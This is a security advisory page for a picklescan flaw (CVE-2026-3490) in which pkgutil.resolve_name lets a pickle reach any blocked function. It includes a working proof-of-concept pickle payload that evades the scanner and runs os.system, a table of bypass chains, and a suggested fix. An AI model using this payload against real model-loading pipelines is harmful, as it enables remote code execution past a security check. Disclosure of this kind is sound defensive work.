PickleScan's pkgutil.resolve_name has a universal blocklist bypass
pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.
This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.
Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.
A pickle file uses two chained REDUCE calls:
```
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
```
picklescan's opcode scanner sees:
STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEANREDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scannerThe string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.
```python
from pkgutil import resolve_name
_var0 = resolve_name('os:system') # Returns the actual os.system function
_var1 = _var0('malicious_command') # Calls os.system('malicious_command')
result = _var1
```
Every entry in picklescan's blocklist can be reached via resolve_name:
| Chain | Resolves To | Confirmed RCE | picklescan Result |
|-------|------------|---------------|-------------------|
| resolve_name("os:system") | os.system | YES | CLEAN |
| resolve_name("builtins:exec") | builtins.exec | YES | CLEAN |
| resolve_name("builtins:eval") | builtins.eval | YES | CLEAN |
| resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN |
| resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN |
| resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN |
| resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN |
| resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN |
| resolve_name("posix:system") | posix.system | YES | CLEAN |
| resolve_name("cProfile:run") | cProfile.run | YES | CLEAN |
| resolve_name("profile:run") | profile.run | YES | CLEAN |
| resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |
Total: 11+ confirmed RCE chains, all reporting CLEAN.
```python
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# resolve_name("os:system")("id")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL
+ sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system")
+ sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id")
+ b"." # STOP
)
# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs os.system("id") → RCE
pickle.loads(payload)
```
pkgutil Is Not Blockedpicklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.
Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.
This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.
This affects:
1. Immediate: Add pkgutil to _unsafe_globals:
```python
"pkgutil": {"resolve_name"},
```
2. Also block similar resolution functions:
```python
"importlib": "*",
"importlib.util": "*",
```
3. Architectural: The blocklist appr
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-3490 is classified as CWE-183: Permissive List of Allowed Inputs. The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input…
CVE-2026-3490 is recorded against 2 packages.
Published on 29 June 2026 and last revised on 1 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)
pypi.org (Package)
github.com (Advisory)
picklescan has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-183: Permissive List of Allowed Inputs) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| picklescan | — | 1.0.4 |
| unknown | — | — |
Similar Threats
Exploit Protection
CVE-2026-3490 carries CVSS 10.0 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-3490 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.